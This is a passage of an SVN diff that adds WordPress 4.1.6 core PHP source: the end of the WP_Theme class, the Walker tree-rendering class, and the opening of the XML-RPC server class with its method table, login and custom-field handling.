+		$textdomain = $this->get('TextDomain');
+		if ( ! $textdomain ) {
+			$this->textdomain_loaded = false;
+			return false;
+		}
+
+		if ( is_textdomain_loaded( $textdomain ) ) {
+			$this->textdomain_loaded = true;
+			return true;
+		}
+
+		$path = $this->get_stylesheet_directory();
+		if ( $domainpath = $this->get('DomainPath') )
+			$path .= $domainpath;
+		else
+			$path .= '/languages';
+
+		$this->textdomain_loaded = load_theme_textdomain( $textdomain, $path );
+		return $this->textdomain_loaded;
+	}
+
+	/**
+	 * Whether the theme is allowed (multisite only).
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param string $check Optional. Whether to check only the 'network'-wide settings, the 'site'
+	 * 	settings, or 'both'. Defaults to 'both'.
+	 * @param int $blog_id Optional. Ignored if only network-wide settings are checked. Defaults to current blog.
+	 * @return bool Whether the theme is allowed for the network. Returns true in single-site.
+	 */
+	public function is_allowed( $check = 'both', $blog_id = null ) {
+		if ( ! is_multisite() )
+			return true;
+
+		if ( 'both' == $check || 'network' == $check ) {
+			$allowed = self::get_allowed_on_network();
+			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) )
+				return true;
+		}
+
+		if ( 'both' == $check || 'site' == $check ) {
+			$allowed = self::get_allowed_on_site( $blog_id );
+			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) )
+				return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the site or network.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param int $blog_id Optional. Defaults to current blog.
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed( $blog_id = null ) {
+		/**
+		 * Filter the array of themes allowed on the site or network.
+		 *
+		 * @since MU
+		 *
+		 * @param array $allowed_themes An array of theme stylesheet names.
+		 */
+		$network = (array) apply_filters( 'allowed_themes', self::get_allowed_on_network() );
+		return $network + self::get_allowed_on_site( $blog_id );
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the network.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed_on_network() {
+		static $allowed_themes;
+		if ( ! isset( $allowed_themes ) )
+			$allowed_themes = (array) get_site_option( 'allowedthemes' );
+		return $allowed_themes;
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the site.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param int $blog_id Optional. Defaults to current blog.
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed_on_site( $blog_id = null ) {
+		static $allowed_themes = array();
+
+		if ( ! $blog_id || ! is_multisite() )
+			$blog_id = get_current_blog_id();
+
+		if ( isset( $allowed_themes[ $blog_id ] ) )
+			return $allowed_themes[ $blog_id ];
+
+		$current = $blog_id == get_current_blog_id();
+
+		if ( $current ) {
+			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
+		} else {
+			switch_to_blog( $blog_id );
+			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
+			restore_current_blog();
+		}
+
+		// This is all super old MU back compat joy.
+		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
+		if ( false === $allowed_themes[ $blog_id ] ) {
+			if ( $current ) {
+				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
+			} else {
+				switch_to_blog( $blog_id );
+				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
+				restore_current_blog();
+			}
+
+			if ( ! is_array( $allowed_themes[ $blog_id ] ) || empty( $allowed_themes[ $blog_id ] ) ) {
+				$allowed_themes[ $blog_id ] = array();
+			} else {
+				$converted = array();
+				$themes = wp_get_themes();
+				foreach ( $themes as $stylesheet => $theme_data ) {
+					if ( isset( $allowed_themes[ $blog_id ][ $theme_data->get('Name') ] ) )
+						$converted[ $stylesheet ] = true;
+				}
+				$allowed_themes[ $blog_id ] = $converted;
+			}
+			// Set the option so we never have to go through this pain again.
+			if ( is_admin() && $allowed_themes[ $blog_id ] ) {
+				if ( $current ) {
+					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
+					delete_option( 'allowed_themes' );
+				} else {
+					switch_to_blog( $blog_id );
+					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
+					delete_option( 'allowed_themes' );
+					restore_current_blog();
+				}
+			}
+		}
+
+		return (array) $allowed_themes[ $blog_id ];
+	}
+
+	/**
+	 * Sort themes by name.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 */
+	public static function sort_by_name( &$themes ) {
+		if ( 0 === strpos( get_locale(), 'en_' ) ) {
+			uasort( $themes, array( 'WP_Theme', '_name_sort' ) );
+		} else {
+			uasort( $themes, array( 'WP_Theme', '_name_sort_i18n' ) );
+		}
+	}
+
+	/**
+	 * Callback function for usort() to naturally sort themes by name.
+	 *
+	 * Accesses the Name header directly from the class for maximum speed.
+	 * Would choke on HTML but we don't care enough to slow it down with strip_tags().
+	 *
+	 * @since 3.4.0
+	 * @access private
+	 */
+	private static function _name_sort( $a, $b ) {
+		return strnatcasecmp( $a->headers['Name'], $b->headers['Name'] );
+	}
+
+	/**
+	 * Name sort (with translation).
+	 *
+	 * @since 3.4.0
+	 * @access private
+	 */
+	private static function _name_sort_i18n( $a, $b ) {
+		// Don't mark up; Do translate.
+		return strnatcasecmp( $a->display( 'Name', false, true ), $b->display( 'Name', false, true ) );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-walker.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-walker.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-walker.php	(revision 33402)
@@ -0,0 +1,471 @@
+<?php
+/**
+ * A class for displaying various tree-like structures.
+ *
+ * Extend the Walker class to use it, see examples below. Child classes
+ * do not need to implement all of the abstract methods in the class. The child
+ * only needs to implement the methods that are needed.
+ *
+ * @since 2.1.0
+ *
+ * @package WordPress
+ * @abstract
+ */
+class Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $tree_type;
+
+	/**
+	 * DB fields to use.
+	 *
+	 * @since 2.1.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $db_fields;
+
+	/**
+	 * Max number of pages walked by the paged walker
+	 *
+	 * @since 2.7.0
+	 * @access protected
+	 * @var int
+	 */
+	protected $max_pages = 1;
+
+	/**
+	 * Whether the current element has children or not.
+	 *
+	 * To be used in start_el().
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 * @var bool
+	 */
+	protected $has_children;
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. This method is called at the start of the output list.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. This method finishes the list at the end of output of the elements.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Start the element output.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. Includes the element output also.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output            Passed by reference. Used to append additional content.
+	 * @param object $object            The data object.
+	 * @param int    $depth             Depth of the item.
+	 * @param array  $args              An array of additional arguments.
+	 * @param int    $current_object_id ID of the current item.
+	 */
+	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * The $args parameter holds additional values that may be used with the child class methods.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $object The data object.
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function end_el( &$output, $object, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Traverse elements to create list from elements.
+	 *
+	 * Display one element if the element doesn't have any children otherwise,
+	 * display the element and its children. Will only traverse up to the max
+	 * depth and no ignore elements under that depth. It is possible to set the
+	 * max depth to include all depths, see walk() method.
+	 *
+	 * This method should not be called directly, use the walk() method instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param object $element           Data object.
+	 * @param array  $children_elements List of elements to continue traversing.
+	 * @param int    $max_depth         Max depth to traverse.
+	 * @param int    $depth             Depth of current element.
+	 * @param array  $args              An array of arguments.
+	 * @param string $output            Passed by reference. Used to append additional content.
+	 * @return null Null on failure with no changes to parameters.
+	 */
+	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
+
+		if ( !$element )
+			return;
+
+		$id_field = $this->db_fields['id'];
+		$id       = $element->$id_field;
+
+		//display this element
+		$this->has_children = ! empty( $children_elements[ $id ] );
+		if ( isset( $args[0] ) && is_array( $args[0] ) ) {
+			$args[0]['has_children'] = $this->has_children; // Backwards compatibility.
+		}
+
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array($this, 'start_el'), $cb_args);
+
+		// descend only when the depth is right and there are childrens for this element
+		if ( ($max_depth == 0 || $max_depth > $depth+1 ) && isset( $children_elements[$id]) ) {
+
+			foreach( $children_elements[ $id ] as $child ){
+
+				if ( !isset($newlevel) ) {
+					$newlevel = true;
+					//start the child delimiter
+					$cb_args = array_merge( array(&$output, $depth), $args);
+					call_user_func_array(array($this, 'start_lvl'), $cb_args);
+				}
+				$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
+			}
+			unset( $children_elements[ $id ] );
+		}
+
+		if ( isset($newlevel) && $newlevel ){
+			//end the child delimiter
+			$cb_args = array_merge( array(&$output, $depth), $args);
+			call_user_func_array(array($this, 'end_lvl'), $cb_args);
+		}
+
+		//end this element
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array($this, 'end_el'), $cb_args);
+	}
+
+	/**
+	 * Display array of elements hierarchically.
+	 *
+	 * Does not assume any existing order of elements.
+	 *
+	 * $max_depth = -1 means flatly display every element.
+	 * $max_depth = 0 means display all levels.
+	 * $max_depth > 0 specifies the number of display levels.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $elements  An array of elements.
+	 * @param int   $max_depth The maximum hierarchical depth.
+	 * @return string The hierarchical item output.
+	 */
+	public function walk( $elements, $max_depth) {
+
+		$args = array_slice(func_get_args(), 2);
+		$output = '';
+
+		if ($max_depth < -1) //invalid parameter
+			return $output;
+
+		if (empty($elements)) //nothing to walk
+			return $output;
+
+		$parent_field = $this->db_fields['parent'];
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			$empty_array = array();
+			foreach ( $elements as $e )
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			return $output;
+		}
+
+		/*
+		 * Need to display in hierarchical order.
+		 * Separate elements into two buckets: top level and children elements.
+		 * Children_elements is two dimensional array, eg.
+		 * Children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		/*
+		 * When none of the elements is top level.
+		 * Assume the first one must be root of the sub elements.
+		 */
+		if ( empty($top_level_elements) ) {
+
+			$first = array_slice( $elements, 0, 1 );
+			$root = $first[0];
+
+			$top_level_elements = array();
+			$children_elements  = array();
+			foreach ( $elements as $e) {
+				if ( $root->$parent_field == $e->$parent_field )
+					$top_level_elements[] = $e;
+				else
+					$children_elements[ $e->$parent_field ][] = $e;
+			}
+		}
+
+		foreach ( $top_level_elements as $e )
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+
+		/*
+		 * If we are displaying all levels, and remaining children_elements is not empty,
+		 * then we got orphans, which should be displayed regardless.
+		 */
+		if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		 }
+
+		 return $output;
+	}
+
+	/**
+ 	 * paged_walk() - produce a page of nested elements
+ 	 *
+ 	 * Given an array of hierarchical elements, the maximum depth, a specific page number,
+ 	 * and number of elements per page, this function first determines all top level root elements
+ 	 * belonging to that page, then lists them and all of their children in hierarchical order.
+ 	 *
+	 * $max_depth = 0 means display all levels.
+	 * $max_depth > 0 specifies the number of display levels.
+	 *
+ 	 * @since 2.7.0
+	 *
+ 	 * @param int $max_depth The maximum hierarchical depth.
+ 	 * @param int $page_num  The specific page number, beginning with 1.
+ 	 * @return string XHTML of the specified page of elements
+ 	 */
+	public function paged_walk( $elements, $max_depth, $page_num, $per_page ) {
+
+		/* sanity check */
+		if ( empty($elements) || $max_depth < -1 )
+			return '';
+
+		$args = array_slice( func_get_args(), 4 );
+		$output = '';
+
+		$parent_field = $this->db_fields['parent'];
+
+		$count = -1;
+		if ( -1 == $max_depth )
+			$total_top = count( $elements );
+		if ( $page_num < 1 || $per_page < 0  ) {
+			// No paging
+			$paging = false;
+			$start = 0;
+			if ( -1 == $max_depth )
+				$end = $total_top;
+			$this->max_pages = 1;
+		} else {
+			$paging = true;
+			$start = ( (int)$page_num - 1 ) * (int)$per_page;
+			$end   = $start + $per_page;
+			if ( -1 == $max_depth )
+				$this->max_pages = ceil($total_top / $per_page);
+		}
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			if ( !empty($args[0]['reverse_top_level']) ) {
+				$elements = array_reverse( $elements );
+				$oldstart = $start;
+				$start = $total_top - $end;
+				$end = $total_top - $oldstart;
+			}
+
+			$empty_array = array();
+			foreach ( $elements as $e ) {
+				$count++;
+				if ( $count < $start )
+					continue;
+				if ( $count >= $end )
+					break;
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			}
+			return $output;
+		}
+
+		/*
+		 * Separate elements into two buckets: top level and children elements.
+		 * Children_elements is two dimensional array, e.g.
+		 * $children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		$total_top = count( $top_level_elements );
+		if ( $paging )
+			$this->max_pages = ceil($total_top / $per_page);
+		else
+			$end = $total_top;
+
+		if ( !empty($args[0]['reverse_top_level']) ) {
+			$top_level_elements = array_reverse( $top_level_elements );
+			$oldstart = $start;
+			$start = $total_top - $end;
+			$end = $total_top - $oldstart;
+		}
+		if ( !empty($args[0]['reverse_children']) ) {
+			foreach ( $children_elements as $parent => $children )
+				$children_elements[$parent] = array_reverse( $children );
+		}
+
+		foreach ( $top_level_elements as $e ) {
+			$count++;
+
+			// For the last page, need to unset earlier children in order to keep track of orphans.
+			if ( $end >= $total_top && $count < $start )
+					$this->unset_children( $e, $children_elements );
+
+			if ( $count < $start )
+				continue;
+
+			if ( $count >= $end )
+				break;
+
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+		}
+
+		if ( $end >= $total_top && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		}
+
+		return $output;
+	}
+
+	public function get_number_of_root_elements( $elements ){
+
+		$num = 0;
+		$parent_field = $this->db_fields['parent'];
+
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$num++;
+		}
+		return $num;
+	}
+
+	// Unset all the children for a given top level element.
+	public function unset_children( $e, &$children_elements ){
+
+		if ( !$e || !$children_elements )
+			return;
+
+		$id_field = $this->db_fields['id'];
+		$id = $e->$id_field;
+
+		if ( !empty($children_elements[$id]) && is_array($children_elements[$id]) )
+			foreach ( (array) $children_elements[$id] as $child )
+				$this->unset_children( $child, $children_elements );
+
+		if ( isset($children_elements[$id]) )
+			unset( $children_elements[$id] );
+
+	}
+
+} // Walker
Index: /tags/4.1.6/src/wp-includes/class-wp-xmlrpc-server.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-xmlrpc-server.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-xmlrpc-server.php	(revision 33402)
@@ -0,0 +1,5935 @@
+<?php
+/**
+ * XML-RPC protocol support for WordPress
+ *
+ * @package WordPress
+ * @subpackage Publishing
+ */
+
+/**
+ * WordPress XMLRPC server implementation.
+ *
+ * Implements compatibility for Blogger API, MetaWeblog API, MovableType, and
+ * pingback. Additional WordPress API for managing comments, pages, posts,
+ * options, etc.
+ *
+ * As of WordPress 3.5.0, XML-RPC is enabled by default. It can be disabled
+ * via the xmlrpc_enabled filter found in wp_xmlrpc_server::login().
+ *
+ * @package WordPress
+ * @subpackage Publishing
+ * @since 1.5.0
+ */
+class wp_xmlrpc_server extends IXR_Server {
+	/**
+	 * @var array
+	 */
+	public $methods;
+	/**
+	 * @var array
+	 */
+	public $blog_options;
+	/**
+	 * @var IXR_Error
+	 */
+	public $error;
+	/**
+	 * Register all of the XMLRPC methods that XMLRPC server understands.
+	 *
+	 * Sets up server and method property. Passes XMLRPC
+	 * methods through the 'xmlrpc_methods' filter to allow plugins to extend
+	 * or replace XMLRPC methods.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return wp_xmlrpc_server
+	 */
+	public function __construct() {
+		$this->methods = array(
+			// WordPress API
+			'wp.getUsersBlogs'		=> 'this:wp_getUsersBlogs',
+			'wp.newPost'			=> 'this:wp_newPost',
+			'wp.editPost'			=> 'this:wp_editPost',
+			'wp.deletePost'			=> 'this:wp_deletePost',
+			'wp.getPost'			=> 'this:wp_getPost',
+			'wp.getPosts'			=> 'this:wp_getPosts',
+			'wp.newTerm'			=> 'this:wp_newTerm',
+			'wp.editTerm'			=> 'this:wp_editTerm',
+			'wp.deleteTerm'			=> 'this:wp_deleteTerm',
+			'wp.getTerm'			=> 'this:wp_getTerm',
+			'wp.getTerms'			=> 'this:wp_getTerms',
+			'wp.getTaxonomy'		=> 'this:wp_getTaxonomy',
+			'wp.getTaxonomies'		=> 'this:wp_getTaxonomies',
+			'wp.getUser'			=> 'this:wp_getUser',
+			'wp.getUsers'			=> 'this:wp_getUsers',
+			'wp.getProfile'			=> 'this:wp_getProfile',
+			'wp.editProfile'		=> 'this:wp_editProfile',
+			'wp.getPage'			=> 'this:wp_getPage',
+			'wp.getPages'			=> 'this:wp_getPages',
+			'wp.newPage'			=> 'this:wp_newPage',
+			'wp.deletePage'			=> 'this:wp_deletePage',
+			'wp.editPage'			=> 'this:wp_editPage',
+			'wp.getPageList'		=> 'this:wp_getPageList',
+			'wp.getAuthors'			=> 'this:wp_getAuthors',
+			'wp.getCategories'		=> 'this:mw_getCategories',		// Alias
+			'wp.getTags'			=> 'this:wp_getTags',
+			'wp.newCategory'		=> 'this:wp_newCategory',
+			'wp.deleteCategory'		=> 'this:wp_deleteCategory',
+			'wp.suggestCategories'	=> 'this:wp_suggestCategories',
+			'wp.uploadFile'			=> 'this:mw_newMediaObject',	// Alias
+			'wp.deleteFile'			=> 'this:wp_deletePost',		// Alias
+			'wp.getCommentCount'	=> 'this:wp_getCommentCount',
+			'wp.getPostStatusList'	=> 'this:wp_getPostStatusList',
+			'wp.getPageStatusList'	=> 'this:wp_getPageStatusList',
+			'wp.getPageTemplates'	=> 'this:wp_getPageTemplates',
+			'wp.getOptions'			=> 'this:wp_getOptions',
+			'wp.setOptions'			=> 'this:wp_setOptions',
+			'wp.getComment'			=> 'this:wp_getComment',
+			'wp.getComments'		=> 'this:wp_getComments',
+			'wp.deleteComment'		=> 'this:wp_deleteComment',
+			'wp.editComment'		=> 'this:wp_editComment',
+			'wp.newComment'			=> 'this:wp_newComment',
+			'wp.getCommentStatusList' => 'this:wp_getCommentStatusList',
+			'wp.getMediaItem'		=> 'this:wp_getMediaItem',
+			'wp.getMediaLibrary'	=> 'this:wp_getMediaLibrary',
+			'wp.getPostFormats'     => 'this:wp_getPostFormats',
+			'wp.getPostType'		=> 'this:wp_getPostType',
+			'wp.getPostTypes'		=> 'this:wp_getPostTypes',
+			'wp.getRevisions'		=> 'this:wp_getRevisions',
+			'wp.restoreRevision'	=> 'this:wp_restoreRevision',
+
+			// Blogger API
+			'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+			'blogger.getUserInfo' => 'this:blogger_getUserInfo',
+			'blogger.getPost' => 'this:blogger_getPost',
+			'blogger.getRecentPosts' => 'this:blogger_getRecentPosts',
+			'blogger.newPost' => 'this:blogger_newPost',
+			'blogger.editPost' => 'this:blogger_editPost',
+			'blogger.deletePost' => 'this:blogger_deletePost',
+
+			// MetaWeblog API (with MT extensions to structs)
+			'metaWeblog.newPost' => 'this:mw_newPost',
+			'metaWeblog.editPost' => 'this:mw_editPost',
+			'metaWeblog.getPost' => 'this:mw_getPost',
+			'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts',
+			'metaWeblog.getCategories' => 'this:mw_getCategories',
+			'metaWeblog.newMediaObject' => 'this:mw_newMediaObject',
+
+			// MetaWeblog API aliases for Blogger API
+			// see http://www.xmlrpc.com/stories/storyReader$2460
+			'metaWeblog.deletePost' => 'this:blogger_deletePost',
+			'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+
+			// MovableType API
+			'mt.getCategoryList' => 'this:mt_getCategoryList',
+			'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles',
+			'mt.getPostCategories' => 'this:mt_getPostCategories',
+			'mt.setPostCategories' => 'this:mt_setPostCategories',
+			'mt.supportedMethods' => 'this:mt_supportedMethods',
+			'mt.supportedTextFilters' => 'this:mt_supportedTextFilters',
+			'mt.getTrackbackPings' => 'this:mt_getTrackbackPings',
+			'mt.publishPost' => 'this:mt_publishPost',
+
+			// PingBack
+			'pingback.ping' => 'this:pingback_ping',
+			'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks',
+
+			'demo.sayHello' => 'this:sayHello',
+			'demo.addTwoNumbers' => 'this:addTwoNumbers'
+		);
+
+		$this->initialise_blog_option_info();
+
+		/**
+		 * Filter the methods exposed by the XML-RPC server.
+		 *
+		 * This filter can be used to add new methods, and remove built-in methods.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $methods An array of XML-RPC methods.
+		 */
+		$this->methods = apply_filters( 'xmlrpc_methods', $this->methods );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	public function serve_request() {
+		$this->IXR_Server($this->methods);
+	}
+
+	/**
+	 * Test XMLRPC API by saying, "Hello!" to client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method Parameters.
+	 * @return string
+	 */
+	public function sayHello($args) {
+		return 'Hello!';
+	}
+
+	/**
+	 * Test XMLRPC API by adding two numbers for client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method Parameters.
+	 * @return int
+	 */
+	public function addTwoNumbers($args) {
+		$number1 = $args[0];
+		$number2 = $args[1];
+		return $number1 + $number2;
+	}
+
+	/**
+	 * Log user in.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $username User's username.
+	 * @param string $password User's password.
+	 * @return WP_User|bool WP_User object if authentication passed, false otherwise
+	 */
+	public function login( $username, $password ) {
+		/*
+		 * Respect old get_option() filters left for back-compat when the 'enable_xmlrpc'
+		 * option was deprecated in 3.5.0. Use the 'xmlrpc_enabled' hook instead.
+		 */
+		$enabled = apply_filters( 'pre_option_enable_xmlrpc', false );
+		if ( false === $enabled ) {
+			$enabled = apply_filters( 'option_enable_xmlrpc', true );
+		}
+
+		/**
+		 * Filter whether XML-RPC is enabled.
+		 *
+		 * This is the proper filter for turning off XML-RPC.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param bool $enabled Whether XML-RPC is enabled. Default true.
+		 */
+		$enabled = apply_filters( 'xmlrpc_enabled', $enabled );
+
+		if ( ! $enabled ) {
+			$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this site.' ) ) );
+			return false;
+		}
+
+		$user = wp_authenticate($username, $password);
+
+		if (is_wp_error($user)) {
+			$this->error = new IXR_Error( 403, __( 'Incorrect username or password.' ) );
+
+			/**
+			 * Filter the XML-RPC user login error message.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param string  $error The XML-RPC error message.
+			 * @param WP_User $user  WP_User object.
+			 */
+			$this->error = apply_filters( 'xmlrpc_login_error', $this->error, $user );
+			return false;
+		}
+
+		wp_set_current_user( $user->ID );
+		return $user;
+	}
+
+	/**
+	 * Check user's credentials. Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 2.8.0
+	 * @deprecated use wp_xmlrpc_server::login
+	 * @see wp_xmlrpc_server::login
+	 *
+	 * @param string $username User's username.
+	 * @param string $password User's password.
+	 * @return bool Whether authentication passed.
+	 */
+	public function login_pass_ok( $username, $password ) {
+		return (bool) $this->login( $username, $password );
+	}
+
+	/**
+	 * Escape string or array of strings for database.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string|array $data Escape single string or array of strings.
+	 * @return string|array Type matches $data and sanitized for the database.
+	 */
+	public function escape( &$data ) {
+		if ( ! is_array( $data ) )
+			return wp_slash( $data );
+
+		foreach ( $data as &$v ) {
+			if ( is_array( $v ) )
+				$this->escape( $v );
+			elseif ( ! is_object( $v ) )
+				$v = wp_slash( $v );
+		}
+	}
+
+	/**
+	 * Retrieve custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @return array Custom fields, if exist.
+	 */
+	public function get_custom_fields($post_id) {
+		$post_id = (int) $post_id;
+
+		$custom_fields = array();
+
+		foreach ( (array) has_meta($post_id) as $meta ) {
+			// Don't expose protected fields.
+			if ( ! current_user_can( 'edit_post_meta', $post_id , $meta['meta_key'] ) )
+				continue;
+
+			$custom_fields[] = array(
+				"id"    => $meta['meta_id'],
+				"key"   => $meta['meta_key'],
+				"value" => $meta['meta_value']
+			);
+		}
+
+		return $custom_fields;
+	}
+
+	/**
+	 * Set custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @param array $fields Custom fields.
+	 */
+	public function set_custom_fields($post_id, $fields) {
+		$post_id = (int) $post_id;
+
+		foreach ( (array) $fields as $meta ) {
+			if ( isset($meta['id']) ) {
+				$meta['id'] = (int) $meta['id'];
+				$pmeta = get_metadata_by_mid( 'post', $meta['id'] );
+				if ( isset($meta['key']) ) {
+					$meta['key'] = wp_unslash( $meta['key'] );
+					if ( $meta['key'] !== $pmeta->meta_key )
+						continue;
+					$meta['value'] = wp_unslash( $meta['value'] );
+					if ( current_user_can( 'edit_post_meta', $post_id, $meta['key'] ) )
+						update_metadata_by_mid( 'post', $meta['id'], $meta['value'] );
+				} elseif ( current_user_can( 'delete_post_meta', $post_id, $pmeta->meta_key ) ) {
+					delete_metadata_by_mid( 'post', $meta['id'] );
+				}
+			} elseif ( current_user_can( 'add_post_meta', $post_id, wp_unslash( $meta['key'] ) ) ) {
+				add_post_meta( $post_id, $meta['key'], $meta['value'] );
+			}
+		}
+	}
+
+	/**
+	 * Set up blog options property.
+	 *
+	 * Passes property through 'xmlrpc_blog_options' filter.
+	 *
+	 * @since 2.6.0
+	 */
+	public function initialise_blog_option_info() {
+		global $wp_version;
+
+		$this->blog_options = array(
+			// Read only options
+			'software_name'     => array(
+				'desc'          => __( 'Software Name' ),
+				'readonly'      => true,
+				'value'         => 'WordPress'
+			),
+			'software_version'  => array(
+				'desc'          => __( 'Software Version' ),
+				'readonly'      => true,
+				'value'         => $wp_version
+			),
+			'blog_url'          => array(
+				'desc'          => __( 'WordPress Address (URL)' ),
+				'readonly'      => true,
+				'option'        => 'siteurl'
+			),
+			'home_url'          => array(
+				'desc'          => __( 'Site Address (URL)' ),
+				'readonly'      => true,
+				'option'        => 'home'
+			),
+			'login_url'          => array(
+				'desc'          => __( 'Login Address (URL)' ),
